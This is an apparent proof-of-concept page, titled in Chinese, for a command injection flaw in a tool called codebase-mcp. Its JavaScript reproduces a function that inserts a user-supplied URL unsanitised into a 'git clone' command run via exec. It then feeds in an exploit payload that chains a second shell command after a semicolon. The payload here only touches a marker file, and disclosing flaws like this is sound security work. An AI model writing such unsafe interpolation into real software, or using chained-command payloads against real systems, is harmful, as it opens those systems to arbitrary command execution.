CVE-2026-5023 codebase-mcp 操作系统命令注入漏洞

// PoC for CVE-2026-5023: OS Command Injection in codebase-mcp // This demonstrates a payload that could be passed to the vulnerable function. const { exec } = require('child_process'); // Simulating the vulnerable function behavior in src/tools/codebase.ts function vulnerableGetRemoteCodebase(userInputUrl) { // Vulnerability: Directly interpolating user input into a shell command const command = `git clone ${userInputUrl}`; console.log(`Executing: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } console.log(`Stdout: ${stdout}`); }); } // Exploit Payload // Using a semicolon to chain a command that creates a file as proof of execution const maliciousInput = "https://github.com/valid/repo.git; touch /tmp/pwn_cve_2026_5023"; vulnerableGetRemoteCodebase(maliciousInput);